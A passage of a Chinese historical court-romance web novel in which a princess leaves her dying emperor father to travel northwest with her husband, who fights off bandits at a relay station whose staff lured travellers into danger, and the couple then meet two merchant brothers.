但是指尖暖意上涌，几乎一瞬间，就让李意清想到了儿时蹒跚学步的时候，顺成帝牵着她的手，一遍遍不胜其烦地教她走路。
跌倒了，站起来，重新走……
往事纷至沓来，李意清压抑住鼻尖的酸楚，分出一丝心神想：原来旧时帝王自称寡人，并非全然没有道理。
偌大的深宫中，当真只剩下一个孤家寡人。
两人走到花园对坐，顺成帝站起身，亲自为她布菜。
“我记得清儿最喜欢这一口牛肉煎豆腐。清儿尝尝，味道比之过往如何？”
他用公筷夹了一小块牛肉豆腐放在她面前的白瓷碟中，目露期待，隐隐有一丝不安与忐忑。
李意清从善如流，夹起后放入口中细细咀嚼，却尝不出什么味道。
风寒过后，她口中味觉退化，到现在还没有完全恢复，听到顺成帝的询问，她吃的很仔细认真，等一整块咽下去后，才发自肺腑道：“很好吃。”
她脸上的笑意比暮春夏初的阳光更加明媚，招呼顺成帝坐下，“父皇，此刻没有旁人，我们坐下一道吃。”
顺成帝被按着坐下，望着李意清像觅食的松鼠，认真地品尝着桌上的每一道菜肴，心中满是柔情。
他望着李意清，忽然伸手捂住自己的胸口，极强的眩晕感上涌，带来一阵阵反胃的呕吐感。
是腐心藤旧疾发作，他这些日子已经忍受得差不多了，没想到今日来得气势汹汹。
顺成帝苍白着面容，对心中和脑海中翻腾呼啸的痛觉置之不理，还佯装镇定地举起筷子，夹着桌上的菜肴。
一口一口，没滋没味。
他的味觉和李意清不同，他这一年来身上百毒俱全，能保住一条命已然相当不易，遑论味觉这种小事。
只是看李意清吃得格外满足，忍不住有些好奇，这桌上菜肴的味道。
饭毕，李意清用桃花蜜露水净了手，又拿帕子擦干，等待着顺成帝的话。
顺成帝左手按住颤抖的右手，忍不住庆幸这衣裳做的宽大，教他不至于当场露陷。
见李意清望着他，顺成帝静了静，缓声问：“意清可愿去一趟西北，为朕去看望盛大将军，顺道将你皇兄带回来。”
194. 负负得正
李意清怔了怔，还没能做出回应，就看见说完话的顺成帝自顾自地摇头否决了自己的想法，“不好不好，西北苦寒，现在京城平定，父皇护住你，绰绰有余。”
顺成帝一边说着，一边摇头晃脑。
在李意清没有注意到的背后，他借助夸张的动作，遏制自己蔓延汹涌的疼痛。
这时，有一个宫人走近，将一个食盒放在桌上。
来人的举动打断两人的对话，李意清抬头望去，惊呼道：“徐公公！”
徐钱礼经此一遭，身上的气质更加沉稳圆融，他面向李意清，笑意浅浅，又看了一眼顺成帝，道：“老奴陪伴陛下多年，陛下看不得老奴闲着，便又出来干些活了。”
“这么多年了，还是你在旁边最顺心。”顺成帝老神在在，看着徐钱礼将桌上的菜肴装盘，忽然哎哎哎几声，“装三个菜差不多了，碗碟笨重，别累着意清。”
“尤其是那碗牛肉煎豆腐。”他补充道。
徐钱礼的动作一顿，心底十分无语。
即便宫中定制的碗筷重，但什么时候需要公主亲自拎了。
心中这般想着，但面上还是点点头，根据顺成帝的要求装上三个菜。
装好菜后，顺成帝望了一眼天色，黄昏暮霭，天边残阳如火焰，云层呈现出旷远而惊艳的橘黄、明红、烟紫色。
“时候不早了，早些回去。”
他说的有些不舍。
李意清拎着食盒，食盒质感很好，相对应地就是重量不轻，怪不得顺成帝出此一言。
她点了点头，拎着食盒准备走到等候在长廊尽头的毓心身边，快走到了，却停下脚步，回头看着顺成帝。
“父皇，儿臣愿意去西北，将皇兄带回来。”
她目光澄澈空明，似乎根本没有将西北的严寒与荒凉放在心上。顺成帝心头微微震动，想要干笑着说“方才不过戏言”，可是面对李意清眼底的坚定，他什么也说不出来。
良久，顺成帝听到自己的声音散在风中：“好，父皇晚间便写一道圣旨，让元辞章陪你同去。”
元辞章做事稳妥，向来无差错，身上功夫也了得，能护住李意清的周全。
李意清想到了顺成帝的顾虑，终究没有拒绝他一片赤诚的慈父之心，遥遥挥手，和毓心一道离开。
顺成帝却望着她的背影，久久不移，仿佛感知不到时光的流逝，直到一股腥甜漫上喉咙，他才在一众惊呼声倒地。
*
回到公主府上，李意清将手中的食盒交给茗禾，教她热一热。
食盒雕花精美，里面的八珍布局不凡，茗禾没有多问，热完后，送到了李意清的寝殿。
李意清正坐在梳妆镜前，单手托腮。
元辞章忙到现在未回，她连妆面都懒得自己拆卸。元辞章做事稳妥，她只需要仰面，静静等待元辞章轻柔的动作即可。
小半个时辰后，门外传来轻微的响动，隐约能听到元辞章清冷的声线：“有劳，我来。”
外面悉悉索索的动静消失，门吱呀一声，被人从外面推开。
元辞章拎着食盒，走到李意清的身边放下，见李意清混混沌沌，像是有了困意，坐在李意清的身后帮她拔下头上的珠簪步摇。
李意清望着他动作娴熟地将不同类型的簪子分门别类的放好，忍不住心情大好，等头上尖锐的发簪全部卸下，她干脆地闭眼往后一躺，倒入元辞章的怀中。
元辞章自然而然扶住她的肩膀，伸手摸了摸她的额头，摸到体温正常的时候，微微松了口气。
他任李意清靠在自己的怀中，见她一动不动，没有提出出门打盆热水的想法。
李意清头发昨日才洗过，正是最蓬松柔软的时候，元辞章的呼吸落在她的头顶，有些痒。
她扭了一下身体，从元辞章的怀中钻了出来，伸手打开食盒的盖子。
里面的牛肉煎豆腐被热过，此刻微微冒着热气，牛肉的油脂和豆腐糅合，色泽金黄，勾人食欲。
菜不经久放，李意清拿起木箸，本想自己尝一块，看见元辞章垂着眼眸，将筷子递到他的手中，目露期待道：“你尝尝看？”
元辞章接过筷子，夹起一块后放入口中。
他的脸色淡然平静，光看他的反应，实在不知道是什么感觉。
李意清扯着他的衣袖轻轻摇晃，语气好奇：“味道是怎样的？”
她现在没有味觉，根本尝不出其中的滋味。
元辞章放下筷子，伸手搂住李意清纤细的腰肢，将下颌抵在她的肩膀上，轻声道：“殿下想听真话？”
李意清：“当然是真话！”
元辞章：“很咸，特别咸。”
李意清愣了一下，“原来是咸的吗……不对，父皇也尝了味道。”
当时顺成帝神色如常，笑容和蔼地望着她，丝毫没有觉得味道不对。
李意清在元辞章动筷的反方向夹起一块，紧张地看着元辞章：“你再尝尝这块？”
元辞章从善如流，尝过，放下筷子，一言不发。
看来依旧是咸的。她尝不出来，顺成帝也尝不出来。两个都没有味觉的人，负负得正，还算是圆满融洽地吃完了这顿饭。
李意清望着食盒上的雕花，忍不住想到，还好徐公公将桌上的牛肉煎豆腐都装了进来。顺成帝不会因此而伤心。
她失神了片刻，转头埋入元辞章的怀中。
“别吃了。”她声音沉闷。
元辞章“嗯”了一声，将她牢牢抱在怀中。
半响，李意清松开他元辞章，后者轻声询问道：“我去打盆热水。你等我片刻？”
李意清乖乖点了点头，目送他离开后，她伸手将那一碟菜重新放入食盒中。
忽然，角落边的一张小纸条映入眼帘。
打开后，是徐钱礼潦草的字迹，上面只有简单的四个字：“陛下亲手。”
原来是父皇亲手做的，怪不得他当时那么认真、那么专注劝自己尝这道菜。
蜡烛中的烛芯摇晃，燃烧的余烬混着烛泪滑落，飞蛾从开着的窗中飞进来，被光芒吸引。
“刺啦”一声，飞蛾扑入火中。
*
京城外，留别亭。
简单收拾好衣裳后，李意清和元辞章没有久留京中——顺成帝身体日薄西山，储君在京，方能安宁百姓。
春末时节，留别亭外莺飞草长，草地中稀稀疏疏开满蓝紫色的小花。天光大亮，远方天边浮现一抹温柔的橘黄。
亭外，有一架马车停靠在侧，亭中站着一高一低两道身影。
离的近了，李意清才看清是李昀璟，还有他的随身奶嬷嬷。
李昀璟看见李意清的身影，眸中光亮了亮，将手从奶嬷嬷的手中抽出来
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，一股脑跑到李意清的身边。
他今日穿着一身红色的衣裳，料子顺滑，裁剪得宜，配着小小的琳琅玉佩，清贵又喜人。
“姑姑。”李昀璟抬着头，大声喊道。白皙的脸蛋被风吹得红扑扑的。
李意清松开元辞章的手，走到李昀璟的身边微微俯身，微微莞尔：“安儿。”
李昀璟扑闪着一双水灵灵的大眼睛，伸手捏住李意清的衣袂，声音委屈道：“姑姑上次到家里，怎么不愿意来见我。”
李意清怔了怔，那日在大皇子府前，她有意见李昀璟一面，可是最后连门都进不去。
她想要辩解，却又说不出口你母亲不让我进去，只好摸了摸他的脑袋，轻声道：“下次不会了。”
李昀璟牵起李意清的手，勾住她的小拇指，大拇指紧紧相贴。
“姑姑要说话算话。”
李意清心中柔软，蹲下来，将李昀璟抱入自己怀中。
“会的。”
李昀璟这才心满意足地点头，将小小的脑袋埋入李意清的长发中。
她身上带着浅浅的香味，像是空山幽谷的人闲桂花，又像是云深处雾霭缭绕的青竹清冷，李昀璟很喜欢。
抱了一会儿，李昀璟正着脸色，想起了自己父亲的嘱咐。
父亲说，他已经是个大孩子了。
这样的行为，是小孩子才有的，他可不能这样。
李昀璟道：“母亲说，姑姑去看望父亲，姑姑，你能不能带我一道去？”
李意清摇了摇头：“不可以。”
和母亲的回答一模一样。
李昀璟低着脑袋，自己安慰自己——虽然自己长大了，但是好像还不够大，只有长得更高，才能去找父亲。
他很快安慰好了自己，然后眨着亮晶晶的眼睛望着李意清，凑近她道：“姑姑，母亲准备了东西给父亲，但是她生病了，今日来不了。”
他简单说明情况后，转头看向自己身后的奶嬷嬷，朝她点点头。
奶嬷嬷朝几人福了福身子，走到马车边，将苏诗如挑挑拣拣的东西展现出来。
李意清望了一眼，东西被包好，大约半个桌面大小。
李昀璟道：“我看母亲选了又选，减了又减，还是有这么许多。姑姑，会不会很占地方？”
李意清摇头，捏了捏他鼓鼓的脸蛋：“不会。”
李昀璟这才露出一个笑，然后他像是想起了什么，伸手将腰间的锦囊解下来，取出一沓薄薄的纸。
“这些是夫子说我写的还不错的课业与丹青，还请姑姑一道转交给父亲。”李昀璟似乎有些害羞，他脸上泛上一层绯红，但举止还算镇定，“姑姑，你不要看。”
李意清忍着笑意接过，听到李昀璟接着补充道：“你要看也可以的，总之……反正……姑姑可以看。”
说完，他像小兔子一样转过身，走到奶嬷嬷的身边。
“姑姑，你们走吧，趁现在日头早，早些出发。”
奶嬷嬷朝他们俯身，伸手将李昀璟抱起来，放入马车中。
李意清指挥随行将行礼搬上马车，她衣裳纤薄，不便装着纸，借元辞章的衣袖一用。
等一切收拾完，大皇子府的马车已然只剩一个小点，朝着城门方向前进。
李意清拍了拍衣袖，不再留意转过头去，仰面对元辞章道：“我们也该走了。”
195. 匪寇
半个月后，熙州城外的官道上。
难得的好天气，天空湛蓝如洗，一路上风吹竹林沙沙作响，高耸入云地穿插在蓝天白天间，细长繁多的竹叶缝隙中，透入斑驳零星的光点。
李意清坐在驿舍门前的棚子里，驿舍外面高高悬挂着两盏大红色的灯笼，显得有些温馨。
几乎是一瞬间，曾到熙州的经历漫上心头，李意清忍不住怀念当时尚且无惧无畏的自己。
面食是熙州的一绝，伙计将两碗面条端上桌，浓郁的香味瞬间打消所有的离愁别绪，李意清从竹筒中抽出筷子，大快朵颐。
来往人少，伙计难得见到这一行人，忙完后，走到李意清和元辞章的身边搭话问道：“公子、姑娘，你们怎么会到西北来？”
现在西北正是战时，一日当中，倒是能看到不少拖家带口从西北往内陆搬迁的人家，像这般声势浩大特意从内地赶到西北的，还真是数十日也遇不上一个。
热汤进肚，李意清心情颇好，她抬眸望向伙计，眸中笑意浅浅，“我家兄长在西北，我此番和夫婿前来，正是来见他的。”
元辞章本正在喝茶。熙州气候干燥，少有雨雾，茶叶种类不多。驿舍中的茶叶都是一些陈年旧茶，平时根本舍不得拿出来招待人，伙计见几人穿着不凡，才掰碎了少许。
听到李意清的话，他举杯的手稍顿，嘴角不着痕迹往上扬了少许。
无人察觉。
伙计露出一副恍然大悟的神色，连连点头：“姑娘原来是来探亲，怪不得怪不得。”
他见元辞章面前的茶杯空了，极有眼见力地端起茶壶，给元辞章的杯中又添了一盏茶，继而安抚道：“现在倒也不用太慌，姑娘有所不知，西北刚刚打了胜仗，以后日子会越来越好的。”
李意清乐于听到这样的话，她心底赞许，点了点头：“你说的对，以后日子会越来越好的。”
几人又在原地休整片刻，见都妥当，又重新启程。
熙州已至，距离西北大营只剩下一两日的脚程，此行带着顺成帝的任务，宜早不宜迟。
等清点完东西没有落下后，驿舍又来了一队人马，为首的公子年纪三十岁上下，看着寡言稳重，身后紧随一个年轻些许的公子，蹙起的眉头一直未曾松开，小声抱怨着什么。
擦肩而过的瞬间，三十岁左右的公子朝李意清和元辞章微微颔首。
两人视线掠过这行人身上沾满灰尘的衣裳，还有不少撕裂的口子，同样回首致意。
坐在马车上，李意清还能听到年轻公子的抱怨：“大哥！真是倒霉，居然遇到了山匪。原先说好要交的货物，算是交不上了，也不知道……”
马车车轮骨碌碌地前行，耳畔只剩下风吹竹叶的声音。
山匪。
她脑海中盘桓着这个词。周太傅曾说过，战乱生乱象，物资不足，匪徒四起，占地为王，是为山匪。
在距离战地不远不近的地方，最容易滋生这类乱象——离得远，不缺东西，良民不至于流落到这一步，离得近，治军区方，也不敢生事。
元辞章的耳力比李意清好，亦听到了这句话，见她抿着唇不语，伸手握着她冰凉的手。
“别担心。”
此行车夫都是特意挑选的侍卫乔装，小规模的山匪，根本构不成威胁。
李意清反握住他的手，望着马车外面洒落的日光，“现在天色尚早，等遇到下一个驿舍，便多留一日。”
一两日之差，倒也不急于今日非到不可。
元辞章知道她最看重性命，没有异议。
到了黄昏时分，才在熙州边郊遇到下一个驿舍。
周边山影幢幢，和之前遇到的驿舍一样，这边驿舍门口也高高挑起两盏硕大的红色灯笼，用以指引路人行走。
不一样的是，现在灯笼里面被点燃，散发着幽幽的红光。
李意清走下马车，和元辞章并肩站立。许三主动上前，扯住门上的环叩响了门。
“有人吗？有人吗？”
松开门环，四下寂静无声。
许三不死心，又使劲敲了敲，不见有人回应后，有些泄气地走到两人面前。
“公子，殿下，好像没人？”
他自己都说的有些不确定，驿舍乃是官家置物，供行人搭脚休憩，现在西北人少，何至于房舍紧缺，早早关门大吉。
李意清朝洛石望了一眼，洛石会意地轻点脚尖，利落地消失在众人视线中。
洛石翻过驿舍的墙，目光梭巡一圈，只见房舍中安安静静，只有西边的屋中亮着若隐若现的一点亮光。
他放轻了自己的脚步，但还是没有注意到脚尖的一截枯树枝。
一脚踩上去，树枝发出“咔擦”一声，短成两截。
西边屋内听到这点动静，连仅存的那一点亮光都熄灭了，只剩下冷冷的月光洒落地面。
银辉下，洛石冷笑一声，见自己已经暴露，直接一个踏步冲上去，推开西边的屋门。
一推开，月光沿着门槛的轮廓映出一片光亮。洛石站在门的正中央，高大的影子在地上显得很有压迫感。
洛石的夜视极好，立刻看见木桌后面瑟瑟发抖挤蹲着六个人。
木桌不大，六个人见门被推开，皆屏住了呼吸，像是等待来人开口。
人在驿舍中却不敢说话，谁知道什么来头。洛石抬脚，不轻不慢地走到木桌边，见几人抖若筛糠，冷着声音问：“什么贼人？”
几人面面相觑，冷汗直淌，竟然无一人敢说话。
洛石：“没人说话？”他一脚踢在陈年的木桌上，木桌支脚不堪重力，立刻断成两截。
四个桌腿只剩下三个，木桌摇摇晃晃，倾斜下来。
几人在心中掂量一番自己的老腰老腿和这木桌孰强孰弱，有一人颤颤巍巍站出来，朝着洛石拘礼道：“小郎君莫要见怪。我们都是驿舍的帮工。”
洛石自然不信：“既是帮工，方才叩门，如何不应？”
那人道：“小郎君有所不知。最近城郊不太平，时有匪寇出没，我们也是无奈出此下策。”
洛石囫囵听了一个大概，见他们说到此处，大有提到伤心处的哽咽，有些不耐地拎着他的衣领，像是拎小鸡一样把他拖着朝门方向走去。
那人哀叫道：“小郎君，轻些轻些，我快喘不上气了。”
洛石脚下步子未缓，但手还是不着痕迹松开几分，走到门口，伸手将门闩放下来，将人往前面一推，朝李意
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清抬了抬下巴道：“殿下，这人说自己是驿舍帮工。他说最近驿舍周边闹匪寇，不敢应声。”
听到殿下，那人神色变了几变，脸色忽然变得凝重。
洛石见他心虚不已，冷笑着伸手扣住他的肩胛骨，用小腿死死按住，“就知道你不对劲！”
元辞章上前一步，将李意清护在身后，淡漠地看着面前的人。
“既然惧怕匪寇，为何点灯？”
那人支支吾吾，答不上来，颤巍巍抬头，对上元辞章的目光，被他眼中的质问与冷意骇到，两眼一番，直直晕了过去。
洛石：“做贼心虚。殿下，里面还有人，我再去抓一个来盘问。”
李意清也觉得今晚怪异得很，听到洛石说驿舍内还有人，拦住他粗暴的做法，“我们直接去找他们吧。”
他们走进去，西边屋内剩下的五个人挤在一块，捂着耳朵，像是听到什么不该听到的。
李意清正欲开口，忽然被元辞章往后一拉，裙袂在空气中划作一个圆弧。
元辞章拉她的同时，拔出自己佩在腰间的长剑，直直对上灰暗中忽然出现的刀光剑影。
洛石和许三等人也反应过来，将李意清茴香毓心等人牢牢护住，对抗来人。
面前刀光剑影，破空声阵阵，李意清感觉自己像是元辞章手中的一根风筝，随着风筝线在他的动作下东飘西摆。
来人面色沉了几分，见自己讨不到好处，急匆匆地便要退开。
李意清握了一下元辞章的指骨，元辞章动作干脆地掷出手中的长剑，长剑像是一支羽箭，狠狠地扎入最后一个人的腿骨上。
最后一人惨叫一声，伸着手想去够自己的同伴。
差的两秒钟洛石追了出去，准备回头拉同伴的人顿了顿，头也不回的离开。
被刺中腿骨的人愣在原地，倒是也没有过分悲伤，停止了痛呼，像一滩软肉倒在地上。
洛石用力捏住那人的下颌，另一只手从袖中摸出火折子，点亮后照亮那人的脸，络腮胡子，却干枯瘦弱。
李意清没有理会他，转头去到吓得魂不守舍的五人身边，蹲下身问：“点灯，是为了引人前来，被匪寇杀死？”
无人应话，脸上一闪而过的震惊出卖了他们内心的紧张。
李意清脸色沉了沉，匪寇出没无声，进屋探查的行人没有防备，根本没有丝毫反抗之力。
见李意清气压低沉，五人之中有一个上了年纪的妇女主动道：“我等何尝不知道这是伤天害理的勾当，可是驿舍原先十多人，现在只剩下我们六人，我们也只是贪生怕死。”
所以不作声，不动手，将祸害引给别人。
只要匪寇在来往商旅身上获得了足够的金银财富，便不会再对他们几个老弱下手。
茴香听到几人堂而皇之地说着自己只是害怕，瞬间像是被踩到尾巴的猫：“只是贪生怕死？便对人不管不顾？难不成你们连个去报官的人也没有吗？”
妇人依旧不为所动：“世道艰难，我们实在帮不上别的人了。”
李意清望着依偎在一起的五人，伸手揉了揉自己的眉心，走到外面，对许三道：“此地归熙州知州管辖，你去跑一趟，务必请通判以上的官员前来见我。”
196. 得寸进尺
许三心中估算了一番来回需要的时间，一来一回，差不多得六七个时辰，等回来的时候，天都已经大亮。
茴香看出他心中所想，上前望着他道：“去吧，殿下和驸马这边自然有我照看。”
许三应了声，小跑着离开了院落。
他走后，空气冷凝了下来。
李意清微微拎起裙摆，走到腿上插着剑的匪寇身边。
匪寇眯着眼睛，望着一步步走来，遮住一大片月光的李意清，瞳孔放大，既惊又惧，但还是嘴硬道：“一条命罢了，要杀就杀，十八年后又是一条好汉。”
李意清垂眸，方才拉扯之间，梳理整齐的鬓发有几缕已经松散，柔顺地垂落在她的肩膀上。
闻言，她睫毛颤了颤，声音确平静无波，“你以为本殿不敢吗？”
洛石听到李意清的声音，劈里啪啦捏响自己的指骨，在后面阴恻恻地助威道：“把你送入大理寺，不知道你是否还能笑出来？”
大理寺掌管重案，落到大理寺手里，还是谋害皇亲这样的大事，不掉一层皮是决计不可能出来的。
匪寇自然曾听闻大理寺的手段，喉结动了动。冷汗从他眼睛上滑落，他梗着脖子，冷笑道：“烂命一条，若是我眨一下眼睛，我就是你孙子。”
洛石一脚踢在他的肩膀上，“就凭你也想攀附殿下，做你的春秋大梦。”
人都是肉长的，他们杀别人的时候也见过别人挣扎，睁着一双蓄满眼泪的眼睛朝着他们摇头哀求，但是他不以为意，人固有一死，世道艰难，早死晚死有什么区别，于是眼也不眨地拔刀砍向妇人怀中的孩子，又在妇人撕心裂肺的哭喊中，结束了已经没有求生意愿的妇人。
他手上的性命不说上百也有几十，本以为左右一刀的事情，没成想落在自己身上居然这么痛。
李意清半蹲下来，伸手按在匪寇腿上的剑柄上，她状似无意地伸手按压，剑刃被推深了几分。
面前人痛得脸色苍白，见李意清握住剑柄，大有直接拔出来的架势，心中的豪气干云立刻化作云烟，哭喊着道：“好汉饶命，女侠饶命！我知道匪寨在哪里，我可以带诸位去！”
李意清松开了剑柄，准备站起身，“带他下去，留他一命。”
匪寇见她头也不回地准备离开，心中一阵惊慌。他能看出来这群人中主事的人是李意清，若是他走了，光是瞧着她身后那个黑眉大眼的，就怵得慌。
他挣扎着叫出来，“我现在腿伤不便，你们请给郎中，帮我瞧一瞧腿，我晚间还没能吃上饭，你让他们做两个肉菜。”
驿舍的妇人壮着胆子道：“……殿、殿下，驿舍里面只剩些许陈米糠粒，哪有什么肉菜。唯一的细面，都被他们搜刮走了，我们平日里都只能弄些草皮树叶垫垫肚子。”
匪寇不敢瞪李意清，对这个突然插话的女人却没有一点好脸色，“这我不管，我就是要肉菜！你们若是做不到，休想指望我带你们找路。”
熙州以北，东南方向，群山连绵。
匪寇往山中一钻，除非熟人，根本找不到出来的路。
一路上还算风平浪静，马车上带的肉脯还剩下不少。李意清眯了眯眼睛，轻声道：“可。”
匪寇瞬间睁大眼睛，见李意清同意，立刻得寸进尺。他的视线不怀好意地在茴香和毓心身上扫过，“还有……”
茴香被这视线看得浑身不自在，往李意清身后缩了缩。
李意清也没想到这匪寇这般明目张胆，瞬间怒上心头，一脚踢在他的腿上。
插入腿中的剑刃偏移了几厘，痛得他脸上冷汗直流。
“看来你并非真心求和，”李意清漠然地望着他，神色带上几分厌倦，“吊住他一条命，等熙州知州来了，把人交给他。”
毕竟是熙州地界上出的事，熙州知州如果不能缴清匪患，这地方官的日子也算做到头了。
洛石立刻应了一声，伸手捏住匪寇的下颌，用力一拧，咔哒一声，下颌骨脱臼。
匪寇呜呜叫着，再也说不出话，待遇比之前，更是天差地别。
他心中有悔，恨自己没能遮掩住情绪，可是再多的后悔，也说不出半个字。
洛石用壮年男子拇指粗细的绳索将匪寇绑住，匪寇看着凶神恶煞，实则干瘦，他拎起匪寇，就像是拎起一个小鸡仔般轻松写意。
夜色中他在院中扫了一圈，见东侧房屋门口堆着柴禾，径直走了过去，推开房门后，将人丢了进去，溅起一地尘灰。
剩下的五个人见李意清随行身手不凡，心中已经信服几分。妇人绞着手指上前道：“我名絮娘，今夜几位贵人在此，我们放心不少，驿舍简陋，我让张伯先去打扫，你们现在屋里小憩片刻。”
李意清让毓心拿一些干粮来，毓心走后，她重新审视面前的妇人。
妇人面黄肌瘦，怀中的小孩面相十四五岁，怯生生地望着李意清。
李意清望着她，心中闷得厉害，她们并非主犯，只是助纣为虐的伥鬼，受人胁迫，既可怜，又可恨。
倘若自己并非有力自保，估计也成了她们冷眼旁观下的一缕孤魂。
元辞章不动声色地伸手扶住李意清，知道她心中膈应，对身后的随从道：“你们去收拾几间屋子，再去山泉打些水。”
驿舍还堆放着柴禾，烧一壶热水还是足够的。
随从闻言，立刻四散去了，只留下四个牢牢守在身边。
絮娘被忽视，按着小孩肩膀的手紧了几分。她有些懊恼，又觉得委屈，世道如此，她只是为了自己。
人不为己天诛地灭，她不觉得自己做错了什么。
只是可惜，眼前一行人皇亲贵族，看着就富贵无比，若是从他们手底流露出几分钱财，哪怕些许吃食，都能好受不少。
她将自己最后的希冀落在元辞章身上，这位公子声音春风化雨，应当不会见死不救吧……？
元辞章对妇人哀求、沮丧又带着一
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丝希冀的眼神视若无睹。他从来不是什么天性温良的端方君子，尤其是面前人让李意清心中绞痛。
“我扶你到树下坐一会儿。”
话已出口，元辞章扶着李意清，察觉到她双腿颤抖，又默不作声将她打横抱起，走到树下。
李意清轻声惊呼，伸手抓住了元辞章的前襟，本想推辞，又想到他们也不是第一次见，推拒的手转变意味，变成虚虚的扯着。
像是怕他抱不稳，自己会掉下来。
絮娘不死心，将孩子往前一推，跪在地上嚎啕大哭：“公子心善，施舍我们一些吃食吧。这孩子已经好几日未曾吃饱，现在瘦弱得皮包骨头，这可正是长身体的时候啊。”
李意清倚靠在元辞章的怀中，视线落在颤抖不已的孩子身上。
他抿着唇，有些不安地想要回头望，可是却被絮娘牢牢的扣住。
李意清闭了闭眼，有些疲累地道：“洛石，你看好他们六个。明日熙州知州来了，一并将事情禀上去。”
说完，便将脑袋埋入元辞章的怀中，不再理会。
洛石有些茫然，视线询问地看着元辞章，元辞章抱着怀中人，对他道：“今日分一餐饭食，明日人来了，是非对错，又府衙审决。”
絮娘拽着孩子瘫坐在地，望着连视线都没有分给她的元辞章，心中喜忧参半。
总算能吃上一顿饱饭了，可是等明日知州一来……这么多性命，估计免不得蹲坐大牢了。
絮娘心中还有些不死心，她其中期期艾艾，想问是否能留住性命，可是话到了嘴边，却又不知道该怎么说。
就在她犹疑的时候，随从上前道：“驸马，房舍已打扫干净。”
元辞章微微颔首，抱起李意清，头也不回地离开。
絮娘“哎”一声，见他们走远，忽而想到——何不吃了这顿饭，等吃饱了肚子，趁夜逃走。
牢狱之中，想想就骇人的很。
她心中这般想着，越想越觉得可行，眸中光芒点点，和之前仿佛被抽干了所有力气的模样判若两人。她连滚带爬地站起身，伸手去够自己的儿子，迫不及待地想要把自己的想法说给其他人听。
他们对山路熟悉，往那深山老林一钻，这些人便是有通天的本事，也难以找到已经逃走的他们。
她心中砰砰直跳，一抬头，忽然看见洛石像一尊玉面罗刹一样站在面前，一双漆黑的眼眸中满是沉冷，活像是能看见她心底。
能看清她心中的小盘算。
絮娘瞬间像是被人握住脖颈，空气变得稀薄，呼吸都变得困难。她愣愣地看着洛石的嘴唇，薄唇翕动，耳边响起他冰冷的声音。
“想往山上走，若是遇到了穷寇流匪，不知道你们还有没有机会活下来。”他的声音中不含一丝感情，“你猜，若是被今夜那伙人知晓了，他们会不会来找你算账？”
絮娘登时如遭雷击，像是被人泼了一盆冷水，从头到脚，没有一处是不冷的。
197. 赵家兄弟
她怎么忘记了，在驿舍尚且有一处地方可供自保，可是出了山林，遇到走投无路的匪寇，小命都可能不保。
洛石见威慑住她，又瞄了一眼一言不发的其他四人，缓缓靠在墙边，闭目养神。
虽然没有别的动作，但是五个人心底都清楚——如果自己敢生出一点异心，他会立刻察觉。
屋内，灯火如豆。
驿舍中一贫如洗，好在马车上物资齐全，不至于只能借月光。
李意清坐在木板上，毫无睡意。五年中虽然大多在其他州府度过，但是吃穿用度从无怠慢，乍然睡上一张纯木板，当真不习惯。
茴香和毓心也十分不自在，她们看着干巴巴的床板，当即决定去将马车里带着的褥子厚厚铺上一层，李意清想到屋中的细碎尘埃，伸手拦住了她们。
“算了，一晚而已，不必这么讲究。”
李意清摇头否决了毓心和茴香的好意，今晚已经夜深，若是现在重新铺就，明日一早又得重新收拾，一来一回，麻烦得很。
因为毓心和茴香守在一旁，元辞章踏步走到屋外，坐在低低的门槛上，闭目不语。
随行的侍从分为两拨，一拨守前半夜，一拨守后半夜。换岗的时候，门外忽然传来一阵喧嚣。
元辞章耳力极好，顷刻睁开了眼眸，和当值的随从对视一眼，后者屏住呼吸，走到门边。
门外，是今日听过的大剌剌声音。
“大哥，这驿舍看着破旧，只能睡这？”
一边说着，一边伸手推开只是虚掩着的大门。一进门，那位小公子脸色大变，猛地咳嗽几声：“这是活人居住的地方吗？闻着这么呛人！”
年长少许的男子摇了摇头，脸上布满无奈，声音平静而理性：“行商在外，又一处地方供栖身已然不已，莫挑三拣四。”
说完，他抬步走进驿舍。
和前面观察情况的随从正面撞上，他滞了一刻，抬眸望着来人，又掠过他看向站在月光下的元辞章，微微拱手，语气和缓：“好巧，今日和阁下有一面之缘，不曾想还能遇见。”
元辞章微微俯身，还了半礼。
当时匆匆一眼，擦肩而过，没想到这男子心细如发，萍水一面，也能记住。
那人见元辞章不语，温声道：“还未自我介绍，我名赵渚，这是舍弟赵凉，家中经商，故而多少有些看人的本事在身上。”
赵渚一面对元辞章说话，一面伸手摁着赵凉。
赵凉被牢牢压制，也对着元辞章拱了拱手，“我叫赵凉。那驿舍空荡，即便有人，多是从西北往内陆走，只有我们两行人马反其道而行之，当然很容易记住。”
他说话直来直往，不像赵渚一般圆融，元辞章看着他，忽然想到了还在念书的元咏赋——也不知道他如何了。
赵家在西北能把生意做大，端看这一身识人的本事，眼前人气度不凡，霜白长袍月光加身，姿态轻松写意，淡然又出尘。若不是身边林立数名侍卫，真像误入凡尘的谪仙。
当得起一句风华绝代。
看衣服料子，像是京城中兴起的款式，眼前人身份非富即贵，不可小瞧。
赵渚不动声色地将自己的态度放得更加亲和，没有多舌地询问他们为何现在这个点到西北来。
夜风习习，元辞章也没有和他们促膝长谈的打算，道：“驿舍长久不用，将房舍收拾一番可住人，诸位自便。”
赵凉伸手扯着赵渚的衣角，低声催促道：“大哥！你说啊！”
赵渚回头看着自家弟弟，虽然身高逼近他，但是举动心性，显然是一个还未长大的孩子。
赵凉不知道赵渚心中的盘算，只会睁着一双湿乎乎的眼睛望着他，像是路边偶然遇到的小狗，收敛了张牙舞爪的利齿，变得乖顺起来。
赵渚被他缠得没有办法，硬着头皮道：“阁下留步。”
元辞章顿住脚步，“何事？”
赵渚道：“不知道阁下可有干粮？实不相瞒，自早上那一餐面食后，到现在我们已滴水未进。”
赵凉虽未说话，却眼巴巴地望着。
元辞章神色如常，对身边随从道：“去取。”
赵凉眼睛立刻亮了起来，如果他当真是一条小狗，现在已经能看见他用力摇动着尾巴，喜悦之色溢于言表。
赵渚见他这般好说话，心中松了一口气，又想到粮食有限，他们一路过来，应当所存不多，于是道：“给舍弟些许即可，我不必。”
元辞章道：“无妨，够用。”
按照脚程，明日这个时候，差不多就能到西北大营，到了营地，便不必担心饥寒。
赵凉原先还有些冷漠，听到元辞章这般慷慨大方，立刻弯起嘴角。
他和从小被当作赵家家主培养的赵渚不一样，行事处世没有那么多花花肠子，只晓得一点：你对我好，我便会对你同样好、更要好。
赵渚见赵凉欢跳着步子，眉骨狠狠一跳。
他这个弟弟本心纯良，只是有时候，太过没有心眼，以至于说话毫无分寸感。喜欢的人觉得他性子直，不喜欢的人会觉得他冒犯。
